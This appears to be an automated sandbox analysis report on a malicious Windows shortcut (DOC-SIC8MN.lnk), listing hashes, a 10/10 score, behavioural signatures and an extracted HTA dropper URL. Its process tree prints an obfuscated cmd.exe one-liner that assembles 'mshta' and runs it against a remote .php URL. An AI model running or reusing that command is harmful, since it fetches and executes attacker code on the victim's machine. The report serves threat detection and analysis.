Analysis
- max time kernel
148s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:29
Static task
static1
Behavioral task
behavioral1
Sample
DOC-SIC8MN.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-SIC8MN.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-SIC8MN.lnk
- Size 1KB
- Sample260804-kd3fcabk3y
- SHA256 53ce4f06eba536d5b64a55369609de87ea30bb37e71aacdf2251fa72e72b5a21
- MD5 fa0fea03467275307fc50596d218d908
- SHA1 9afef1e594e206c7ed037f8c281093d854a14175
- SHA512 dcd0d65c4170ba2b80e7d91efb30e1b3979b5f20f67ae0afc1fdc8bcc5704b384f2d59c318e7ab31a3b175d55ceea50e5f5a8cc6b117fe62e665300cdd00d9b3
- TLSH T1983147502EFD0624F3B38E7694FB672485BAB9AA8D20CA2E0141454D5032A25E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2420 cmd.exe 3316 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2420 wrote to memory of 3316 2420 cmd.exe 90 PID 3316 wrote to memory of 4128 3316 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-SIC8MN.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2420 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set wR=msh&&set RW=ta&&start "" !wR!!RW! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3316 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4128
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